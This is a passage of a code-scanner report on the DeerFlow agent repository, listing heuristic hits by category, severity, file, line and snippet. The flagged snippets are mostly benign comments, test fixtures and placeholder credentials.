LOWconfig.example.yaml1121COMMENT
LOWconfig.example.yaml1141# On macOS: Automatically prefers Apple Container if available, falls back to DockerCOMMENT
LOWconfig.example.yaml1161# # When the limit is reached the least-recently-used sandbox is evicted toCOMMENT
LOWconfig.example.yaml1181# # environment:COMMENT
LOWconfig.example.yaml1201# # Active boxes are never evicted; only warm-pool boxes are stopped to make room.COMMENT
LOWconfig.example.yaml1221# provisioner_url: http://provisioner:8002COMMENT
LOWconfig.example.yaml1241# # Built-in defaults: general-purpose=150, bash=60. Leave unset to keep them.COMMENT
LOWconfig.example.yaml1261# # enabled: trueCOMMENT
LOWconfig.example.yaml1281# # Custom subagent types: define specialized agents with their own prompts,COMMENT
124 more matches not shown…
Modern AI Meta-Vocabulary48 hits · 106 pts
SeverityFileLineSnippetContext
MEDIUMREADME.md599DeerFlow also supports [Monocle](https://github.com/monocle2ai/monocle), an OpenTelemetry-based tracer for agentic appliCODE
MEDIUMREADME.md609Each run writes one trace file to `.monocle/`; open it in the [Monocle VS Code extension](https://marketplace.visualstudCODE
MEDIUMconfig.example.yaml935# Prevents oversized tool results from blowing the model context window.COMMENT
MEDIUMconfig.example.yaml1053# guardrails / models / tools). The built-in set covers OpenAI-compatibleCOMMENT
MEDIUMconfig.example.yaml1892# guardrails:COMMENT
MEDIUMconfig.example.yaml1895# use: deerflow.guardrails.builtin:AllowlistProviderCOMMENT
MEDIUMconfig.example.yaml1902# pip install aport-agent-guardrails && aport setup --framework deerflowCOMMENT
MEDIUMconfig.example.yaml1903# guardrails:COMMENT
MEDIUMconfig.example.yaml1909# guardrails:COMMENT
MEDIUMconfig.example.yaml401 # MiniMax provides high-performance models with 512K context window and 128K max outputCOMMENT
MEDIUMconfig.example.yaml465 # MiniMax provides high-performance models with 512K context window and 128K max outputCOMMENT
MEDIUMAGENTS.md43├── Makefile # Root orchestration: drives the full stack (dev/start/stop, docker, setup)CODE
MEDIUMAGENTS.md54├── scripts/ # Root orchestration scripts invoked by the Makefile (check, configure, doctor, suppCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json104 "content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"urCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json104 "content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"urCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json104 "content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"urCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json269 "content": "[\n {\n \"title\": \"Top Technology Trends to Watch in 2026: AI, Quantum Computing ...\",\n \CODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json383 "content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI armCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json383 "content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI armCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json753 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json753 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json563 "content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"uCODE
MEDIUM…reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json563 "content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"uCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json694 "content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqinCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json732 "content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation | by heavendai | Medium\n\n[SCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1406 "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1667 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1667 "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"viCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json199 "content": "{\n \"name\": \"bytedance/deer-flow\",\n \"description\": \"DeerFlow is a community-driven Deep ReCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json618 "content": "[\n {\n \"title\": \"Create Your Own Deep Research Agent with DeerFlow\",\n \"url\": \"https:CODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json656 "content": "# The Sequence Engineering #661: Create Your Own Deep Research Agent with DeerFlow\n\n[![TheSequenceCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json656 "content": "# The Sequence Engineering #661: Create Your Own Deep Research Agent with DeerFlow\n\n[![TheSequenceCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1149 "content": "[\n {\n \"title\": \"[Up-to-date] Awesome Agentic Deep Research Resources - GitHub\",\n \"urlCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1226 "content": "[\n {\n \"title\": \"DeerFlow\",\n \"url\": \"https://deerflow.tech/\",\n \"snippet\": \"MCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1765 "content": "I've created a **stylish, production-grade webpage** based on the DeerFlow research report. Here's wCODE
MEDIUMbackend/tests/test_suggestions_router.py65 # MiniMax-M3 inlines its chain-of-thought as <think>...</think> in contentCOMMENT
MEDIUMbackend/docs/GUARDRAILS.md155[APort Agent Guardrails](https://github.com/aporthq/aport-agent-guardrails) is one open-source (Apache 2.0) implementatiCODE
MEDIUMbackend/docs/task_tool_improvements.md121_scheduler_pool.submit(run_task) # Submit orchestration taskCODE
MEDIUMbackend/packages/harness/deerflow/subagents/executor.py257# Thread pool for background task scheduling and orchestrationCOMMENT
MEDIUM…ckend/packages/harness/deerflow/agents/memory/tools.py142# The staleness age/category/removal-count guardrails protect automaticCOMMENT
MEDIUM…low/agents/middlewares/safety_termination_detectors.py127 https://platform.claude.com/docs/en/test-and-evaluate/strengthen-guardrails/handle-streaming-refusalsSTRING
MEDIUM.github/workflows/triage.yml3# One workflow for all event-driven PR/issue labeling. Replaces the formerCOMMENT
MEDIUM.github/workflows/triage.yml58 ['area:backend', [/^backend\/app\//, /^backend\/packages\/harness\/deerflow\/(runtime|persistence|config|CODE
Self-Referential Comments31 hits · 91 pts
SeverityFileLineSnippetContext
MEDIUM…reads/ad76c455-5bf9-4335-8517-fc03834ab828/thread.json202 "content": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as snCODE
MEDIUMbackend/app/gateway/auth/credential_file.py38 f"# DeerFlow admin {label} credentials\n# This file is generated on first boot or password reset.\n# Change the CODE
MEDIUMbackend/app/channels/manager.py1859 # Create a new thread through GatewayCOMMENT
MEDIUMbackend/tests/test_multi_worker_run_ownership.py324 # Create a live local runCOMMENT
MEDIUMbackend/tests/test_multi_worker_run_ownership.py425 # Create a run owned by a different workerCOMMENT
MEDIUMbackend/tests/test_multi_worker_run_ownership.py594 # Create an active run with an expired lease (simulating a crashed worker)COMMENT
MEDIUMbackend/tests/test_multi_worker_run_ownership.py1314 # Create a run that this worker ownsCOMMENT
MEDIUMbackend/tests/test_sandbox_search_tools.py495 # Create a sandbox with PathMappings that use user-abc's directoryCOMMENT
MEDIUMbackend/tests/test_client_e2e.py502 # Create an output file in the thread's outputs directoryCOMMENT
MEDIUMbackend/tests/test_channel_file_attachments.py108 # Create the directory structure: threads/{thread_id}/user-data/outputs/COMMENT
MEDIUMbackend/tests/test_run_manager.py759 # Create a run and let it complete (will be in both memory and store)COMMENT
MEDIUMbackend/tests/test_custom_agent.py435 # Create the agents dir with a file (not a dir)COMMENT
MEDIUMbackend/tests/test_custom_agent.py659 # Create an agent through the API, then hand-author a github: blockCOMMENT
MEDIUMbackend/tests/test_client.py1704 # Create a source fileCOMMENT
MEDIUMbackend/tests/test_client.py2811 # Create a small archive that claims huge uncompressed size.COMMENT
MEDIUMbackend/tests/test_client.py3246 # Create a target file outside uploads dir.COMMENT
MEDIUMbackend/tests/test_client.py3250 # Create a symlink inside uploads dir pointing to outside file.COMMENT
MEDIUMbackend/tests/test_client.py1534 # Create a valid .skill archiveCOMMENT
MEDIUMbackend/tests/test_skills_custom_router.py926 # Create a public skillCOMMENT
MEDIUMbackend/tests/test_skills_custom_router.py931 # Create a global custom skill (LEGACY fallback for users without per-user dir)COMMENT
MEDIUMbackend/tests/test_skills_custom_router.py936 # Create a per-user custom skillCOMMENT
MEDIUMbackend/tests/test_skills_custom_router.py300 # Create a skill in user-level custom dirCOMMENT
MEDIUMbackend/packages/harness/deerflow/subagents/executor.py700 # Create a new result for synchronous executionCOMMENT
MEDIUMbackend/packages/harness/deerflow/subagents/executor.py998 # Create a result with error if we don't have oneCOMMENT
MEDIUM…s/deerflow/agents/middlewares/view_image_middleware.py179 # Create the image details message with text and image contentCOMMENT
MEDIUM…s/deerflow/agents/middlewares/view_image_middleware.py182 # Create a new human message with mixed content (text + images). This isCOMMENT
MEDIUM…eerflow/agents/middlewares/clarification_middleware.py220 # Create a ToolMessage with the formatted questionCOMMENT
MEDIUMbackend/packages/harness/deerflow/mcp/tools.py598 # Create the multi-server MCP clientCOMMENT
MEDIUMbackend/packages/harness/deerflow/sandbox/tools.py1487 # Create the three directoriesCOMMENT
MEDIUMscripts/deploy.sh130 # Create a minimal empty config so the gateway doesn't fail on startupCOMMENT
MEDIUM.github/labels.yml3# This file is the single source of truth for repository labels used by theCOMMENT
Cross-File Repetition14 hits · 70 pts
SeverityFileLineSnippetContext
HIGH…/packages/harness/deerflow/community/crawl4ai/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…packages/harness/deerflow/community/firecrawl/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…d/packages/harness/deerflow/community/fastcrw/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…ckend/packages/harness/deerflow/community/exa/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…d/packages/harness/deerflow/community/jina_ai/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…nd/packages/harness/deerflow/community/tavily/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…packages/harness/deerflow/community/infoquest/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…ckages/harness/deerflow/community/browserless/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…ckages/harness/deerflow/community/groundroute/tools.py0fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly STRING
HIGH…packages/harness/deerflow/community/firecrawl/tools.py0search the web. args: query: the query to search for.STRING
HIGH…d/packages/harness/deerflow/community/fastcrw/tools.py0search the web. args: query: the query to search for.STRING
HIGH…ckend/packages/harness/deerflow/community/exa/tools.py0search the web. args: query: the query to search for.STRING
HIGH…nd/packages/harness/deerflow/community/tavily/tools.py0search the web. args: query: the query to search for.STRING
HIGH…packages/harness/deerflow/community/infoquest/tools.py0search the web. args: query: the query to search for.STRING
Verbosity Indicators43 hits · 66 pts
SeverityFileLineSnippetContext
LOW…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json168 "content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json365 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json64 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json54 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json54 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOW…reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json186 "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create,CODE
LOWbackend/tests/test_multi_worker_run_ownership.py1388 # Step 1: cancel(action=rollback) flips running → interruptedCOMMENT
LOWbackend/tests/test_multi_worker_run_ownership.py1394 # Step 2: worker.py finalize path — task raises CancelledError, thenCOMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py82 # Step 1: Start a container (simulating previous process lifecycle)COMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py94 # Step 2: Create backend and list running containersCOMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py105 # Step 3: list_running should find our containerCOMMENT
LOWbackend/tests/test_sandbox_orphan_reconciliation_e2e.py110 # Step 4: Simulate reconciliation — this container's created_at is recent,COMMENT
LOWbackend/tests/test_client_e2e.py166# Step 2: Basic streaming (requires LLM)COMMENT
LOWbackend/tests/test_client_e2e.py227# Step 3: Tool call flow (requires LLM)COMMENT
LOWbackend/tests/test_client_e2e.py263# Step 4: File upload integration (no LLM needed for most)COMMENT
LOWbackend/tests/test_client_e2e.py347# Step 5: Lifecycle and configuration (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py404# Step 6: Middleware chain verification (requires LLM)COMMENT
LOWbackend/tests/test_client_e2e.py442# Step 7: Error and boundary conditionsCOMMENT
LOWbackend/tests/test_client_e2e.py487# Step 8: Artifact access (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py542# Step 9: Skill installation (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py639# Step 10: Configuration management (no LLM needed)COMMENT
LOWbackend/tests/test_client_e2e.py773# Step 11: Memory access (no LLM needed)COMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py176 # Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=TrueCOMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py183 # Step 2: Now trigger handler that raises GraphBubbleUpCOMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py204 # Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=TrueCOMMENT
LOWbackend/tests/test_llm_error_handling_middleware.py211 # Step 2: Now trigger handler that raises GraphBubbleUpCOMMENT
LOWbackend/tests/test_client.py2041 # Step 2: ListCOMMENT
LOWbackend/tests/test_client.py2046 # Step 3: Delete oneCOMMENT
LOWbackend/tests/test_client.py2050 # Step 4: Verify deletionCOMMENT
LOWbackend/tests/test_client.py2029 # Step 1: UploadCOMMENT
LOWbackend/tests/test_client.py2396 # Step 1: InstallCOMMENT
LOWbackend/tests/test_client.py2408 # Step 2: List and find itCOMMENT
LOWbackend/tests/test_client.py2420 # Step 3: Disable itCOMMENT
LOWbackend/tests/test_mcp_config_secrets.py357 # Step 1: Server returns masked config (simulates GET response)COMMENT
LOWbackend/tests/test_mcp_config_secrets.py362 # Step 2: Frontend toggles enabled and sends back (simulates PUT request)COMMENT
LOWbackend/tests/test_mcp_config_secrets.py365 # Step 3: Server merges with existing secrets (simulates PUT handler)COMMENT
LOWbackend/packages/harness/deerflow/subagents/registry.py65 # Step 1: Look up built-in, then fall back to custom_agentsCOMMENT
LOWbackend/packages/harness/deerflow/subagents/registry.py72 # Step 2: Apply per-agent overrides from config.yaml agents section.COMMENT
LOW…arness/deerflow/community/aio_sandbox/local_backend.py414 # Step 1: enumerate container names via docker psCOMMENT
LOW…arness/deerflow/community/aio_sandbox/local_backend.py449 # Step 2: batched docker inspect — single subprocess call for all containersCOMMENT
LOWskills/public/find-skills/scripts/install-skill.sh49# Step 1: Install the skill using npxCOMMENT
LOWskills/public/find-skills/scripts/install-skill.sh52# Step 2: Verify installationCOMMENT
LOWskills/public/find-skills/scripts/install-skill.sh58# Step 3: Create symlinkCOMMENT
Fake / Example Data39 hits · 44 pts
SeverityFileLineSnippetContext
LOWfrontend/tests/unit/core/threads/export.test.ts209 const message = ai("placeholder", {CODE
LOWfrontend/tests/unit/core/threads/export.test.ts301 const message = ai("placeholder", {CODE
LOW…nents/workspace/gateway-offline-banner-helpers.test.ts14 email: "user@example.com",CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts138 (element) => pattern.test(element.getAttribute("placeholder") ?? ""),CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts168 placeholderPattern.test(element.getAttribute("placeholder") ?? ""),CODE
LOWfrontend/tests/e2e/sidecar-chat.spec.ts243 /deeper follow-up/i.test(element.getAttribute("placeholder") ?? ""),CODE
LOWbackend/tests/test_oidc_auth.py25 "email": "user@example.com",CODE
LOWbackend/tests/test_oidc_auth.py36 local_user = User(email="user@example.com", password_hash="hash")CODE
LOWbackend/tests/test_oidc_auth.py93 identity=_identity(subject="admin-subject", email="admin@example.com"),CODE
LOWbackend/tests/test_oidc_auth.py99 email="admin@example.com",CODE
LOWbackend/tests/test_oidc_auth.py189 local_provider.get_user_by_email.assert_awaited_once_with("user@example.com")CODE
LOWbackend/tests/test_oidc_auth.py197 created_user = User(email="user@example.com", password_hash=None, oauth_provider="keycloak", oauth_id="subject")CODE
LOWbackend/tests/test_oidc_auth.py58 local_user = User(email="user@example.com", password_hash="hash")CODE
LOWbackend/tests/test_oidc_auth.py82 email="admin@example.com",CODE
LOWbackend/tests/test_oidc_auth.py175 local_user = User(email="user@example.com", password_hash="hash")CODE
LOWbackend/tests/test_oidc_auth.py208 email="user@example.com",CODE
LOWbackend/tests/test_oidc_auth.py249 return {"sub": "subject", "email": "user@example.com", "email_verified": "false"}CODE
LOWbackend/tests/test_oidc_auth.py270 created_user = User(email="user@example.com", password_hash=None, oauth_provider="keycloak", oauth_id="subject")CODE
LOWbackend/tests/test_paths_user_isolation.py43 result = make_safe_user_id("user@example.com")CODE
LOWbackend/tests/test_paths_user_isolation.py48 assert make_safe_user_id("user@example.com") == resultCODE
LOWbackend/tests/test_paths_user_isolation.py76 raw = "user@example.com"CODE
LOWbackend/tests/test_channels_router.py19 email="admin@example.com",CODE
LOWbackend/tests/test_channels_router.py28 email="user@example.com",CODE
LOWbackend/tests/test_auth.py371 user = User(email="admin@example.com", password_hash="hash", needs_setup=True)CODE
LOWbackend/tests/test_channels.py3327 raw = "user@example.com"CODE
LOWbackend/tests/test_channels.py3347 raw = "user@example.com"CODE
LOWbackend/tests/test_claude_provider_oauth_billing.py17 m = ClaudeChatModel(model="claude-sonnet-4-6", anthropic_api_key="sk-ant-oat-fake-token") # type: ignore[call-aCODE
LOWbackend/tests/test_claude_provider_oauth_billing.py19 m._oauth_access_token = "sk-ant-oat-fake-token"CODE
LOWbackend/tests/test_runtime_lifecycle_e2e.py171 monkeypatch.setenv("OPENAI_API_KEY", "sk-fake-key-not-used")CODE
LOWbackend/tests/test_initialize_admin.py61 "email": "admin@example.com",CODE
LOWbackend/tests/test_initialize_admin.py75 assert data["email"] == "admin@example.com"CODE
LOWbackend/tests/test_setup_agent_http_e2e_real_server.py73 monkeypatch.setenv("OPENAI_API_KEY", "sk-fake-key-not-used-because-llm-is-mocked")CODE
LOWbackend/docs/AUTH_TEST_PLAN.md90 -d '{"email":"admin@example.com","password":"AdminPass1!"}' \CODE
LOWbackend/docs/AUTH_TEST_PLAN.md96- Body: `{"id": "...", "email": "admin@example.com", "system_role": "admin", "needs_setup": false}`CODE
LOWbackend/docs/AUTH_TEST_PLAN.md105**预期:** `{"id": "...", "email": "admin@example.com", "system_role": "admin", "needs_setup": false}`CODE
LOWbackend/docs/AUTH_TEST_PLAN.md356 -H "X-CSRF-Token: fake-token" \CODE
LOWbackend/docs/AUTH_TEST_PLAN.md688 -d '{"email":"admin@example.com","password":"AdminPass1!"}' \CODE
LOWbackend/docs/AUTH_TEST_PLAN.md1541 -d '{"email":"admin@example.com","password":"AdminPass1!"}' \CODE
LOW…ages/harness/deerflow/skills/skillscan/orchestrator.py106_PLACEHOLDER_VALUES = {"", "x", "xx", "xxx", "xxxx", "changeme", "change-me", "example", "placeholder", "test", "dummy",CODE
Redundant / Tautological Comments25 hits · 39 pts
SeverityFileLineSnippetContext
LOWconfig.example.yaml1365 # Set false to disable the new deterministic analyzers. Safe archiveCOMMENT
LOW…reads/ad76c455-5bf9-4335-8517-fc03834ab828/thread.json123 "content": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as snCODE
LOWbackend/app/gateway/routers/artifacts.py196 # Check if this is a request for a file inside a .skill archive (e.g., xxx.skill/SKILL.md)COMMENT
LOWbackend/app/channels/discord.py369 # Check if there's an active thread for this channelCOMMENT
LOWbackend/tests/test_infoquest_client.py99 # Check if result is a valid JSON string with expected contentCOMMENT
LOWbackend/tests/test_infoquest_client.py278 # Check if result is a valid JSON string with expected contentCOMMENT
LOWbackend/tests/test_infoquest_client.py326 # Check if result is a valid JSON stringCOMMENT
LOW…/packages/harness/deerflow/tools/builtins/task_tool.py465 # Check if task completed, failed, or timed outCOMMENT
LOW…s/deerflow/agents/middlewares/view_image_middleware.py91 # Check if all tool calls have been completedCOMMENT
LOW…s/deerflow/agents/middlewares/view_image_middleware.py147 # Check if it has view_image tool callsCOMMENT
LOW…s/deerflow/agents/middlewares/view_image_middleware.py151 # Check if all tools have been completedCOMMENT
LOW…s/deerflow/agents/middlewares/view_image_middleware.py155 # Check if we've already added an image details messageCOMMENT
LOW…arness/deerflow/agents/middlewares/title_middleware.py107 # Check if thread already has a title in stateCOMMENT
LOW…arness/deerflow/agents/middlewares/title_middleware.py111 # Check if this is the first turn (has at least one user message and one assistant response).COMMENT
LOW…eerflow/agents/middlewares/clarification_middleware.py255 # Check if this is an ask_clarification tool callCOMMENT
LOW…eerflow/agents/middlewares/clarification_middleware.py280 # Check if this is an ask_clarification tool callCOMMENT
LOWbackend/packages/harness/deerflow/mcp/cache.py97 # Check if cache is stale due to config file changesCOMMENT
LOWbackend/packages/harness/deerflow/sandbox/tools.py504 # Check if args has server-filesystem packageCOMMENT
LOWbackend/packages/harness/deerflow/sandbox/tools.py1365 # Check if sandbox already exists in stateCOMMENT
LOWbackend/packages/harness/deerflow/sandbox/tools.py1483 # Check if directories have already been createdCOMMENT
LOW…rness/deerflow/community/infoquest/infoquest_client.py68 # Check if status code is not 200COMMENT
LOWscripts/detect_uv_extras.py194 # Check if we're at the parent's child level (subsection)COMMENT
LOWskills/public/skill-creator/scripts/init_skill.py208 # Check if directory already existsCOMMENT
LOWskills/public/vercel-deploy-claimable/scripts/deploy.sh175# Check if input is a .tgz file or a directoryCOMMENT
LOWskills/public/vercel-deploy-claimable/scripts/deploy.sh191 # Check if this is a static HTML project (no package.json)COMMENT
Synthetic Comment Markers7 hits · 35 pts
SeverityFileLineSnippetContext
HIGH…reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json550 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
HIGH…reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json53 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
HIGH…reads/f4125791-0128-402a-8ca9-50e0947557e4/thread.json52 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
HIGH…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json1637 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
HIGH…reads/5aa47db1-d0cb-4eb9-aea5-3dac1b371c5a/thread.json204 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
HIGH…reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json847 "content": "# The Leica Master's Eye: Capturing the Decisive Moment in the Age of AI\n\n*By DeerFlow 2.0 |CODE
HIGH…reads/c02bb4d5-4202-490e-ae8f-ff4864fc0d2e/thread.json52 "content": "---\nname: frontend-design\ndescription: Create distinctive, production-grade frontend interfaces wiCODE
AI Structural Patterns22 hits · 19 pts
SeverityFileLineSnippetContext
LOWbackend/app/channels/manager.py806CODE
LOWbackend/tests/test_dingtalk_channel.py40CODE
LOWbackend/tests/test_model_factory.py27CODE
LOWbackend/packages/harness/deerflow/client.py134CODE
LOWbackend/packages/harness/deerflow/subagents/executor.py396CODE
LOW…packages/harness/deerflow/runtime/runs/store/memory.py35CODE
LOW…packages/harness/deerflow/runtime/runs/store/memory.py284CODE
LOW…d/packages/harness/deerflow/runtime/runs/store/base.py19CODE
LOW…d/packages/harness/deerflow/runtime/runs/store/base.py109CODE
LOW…d/packages/harness/deerflow/runtime/runs/store/base.py133CODE
LOW…d/packages/harness/deerflow/runtime/runs/store/base.py215CODE
LOWbackend/packages/harness/deerflow/agents/factory.py63CODE
LOW…/packages/harness/deerflow/agents/lead_agent/prompt.py971CODE
LOW…arness/deerflow/persistence/channel_connections/sql.py110CODE
LOW…ckend/packages/harness/deerflow/persistence/run/sql.py86CODE
LOW…ckend/packages/harness/deerflow/persistence/run/sql.py273CODE
LOW…ckend/packages/harness/deerflow/persistence/run/sql.py319CODE
LOW…ckend/packages/harness/deerflow/persistence/run/sql.py501CODE
LOW…s/deerflow/community/browserless/browserless_client.py117CODE
LOW…kages/harness/deerflow/community/image_search/tools.py15CODE
LOWscripts/wizard/writer.py176CODE
LOWscripts/wizard/writer.py258CODE
Magic Placeholder Names2 hits · 10 pts
SeverityFileLineSnippetContext
HIGHbackend/README.md185export OPENAI_API_KEY="your-api-key-here"CODE
HIGHbackend/CONTRIBUTING.md52export OPENAI_API_KEY="your-api-key"CODE
Hallucination Indicators1 hit · 10 pts
SeverityFileLineSnippetContext
CRITICALbackend/app/channels/feishu.py391 return self._api_client.im.v1.message_resource.get(request)CODE
Example Usage Blocks6 hits · 9 pts
SeverityFileLineSnippetContext
LOWscripts/bump_version.sh4# Usage:COMMENT
LOWscripts/check_config_version.sh12# Usage:COMMENT
LOWscripts/verify_versions.sh9# Usage:COMMENT
LOWscripts/serve.sh5# Usage:COMMENT
LOWskills/public/claude-to-deerflow/scripts/chat.sh4# Usage:COMMENT
LOWskills/public/claude-to-deerflow/scripts/status.sh4# Usage:COMMENT
Dead Code4 hits · 6 pts
SeverityFileLineSnippetContext
MEDIUMbackend/tests/test_subagent_executor.py2540CODE
MEDIUMbackend/tests/test_subagent_executor.py1221CODE
MEDIUMbackend/tests/test_worker_langfuse_metadata.py36CODE
MEDIUMbackend/tests/test_channels.py1793CODE
Slop Phrases2 hits · 4 pts
SeverityFileLineSnippetContext
LOW…reads/d3e5adaf-084c-4dd5-9d29-94f1d6bccd98/thread.json53 "content": "# Tips For Technical Startup Founders | Startup School\n\n# Tips For Technical Startup Founders | StCODE
MEDIUM…reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json313 "content": "# 🦌 DeerFlow\n\n[![Python 3.12+](https://img.shields.io/badge/python-3.12+-blue.svg)](https://www.pyCODE
Overly Generic Function Names2 hits · 2 pts
SeverityFileLineSnippetContext
LOWbackend/tests/test_subagent_executor.py1895 def execute_task(task_id: int):CODE
LOWbackend/packages/harness/deerflow/subagents/executor.py1039 def run_task():CODE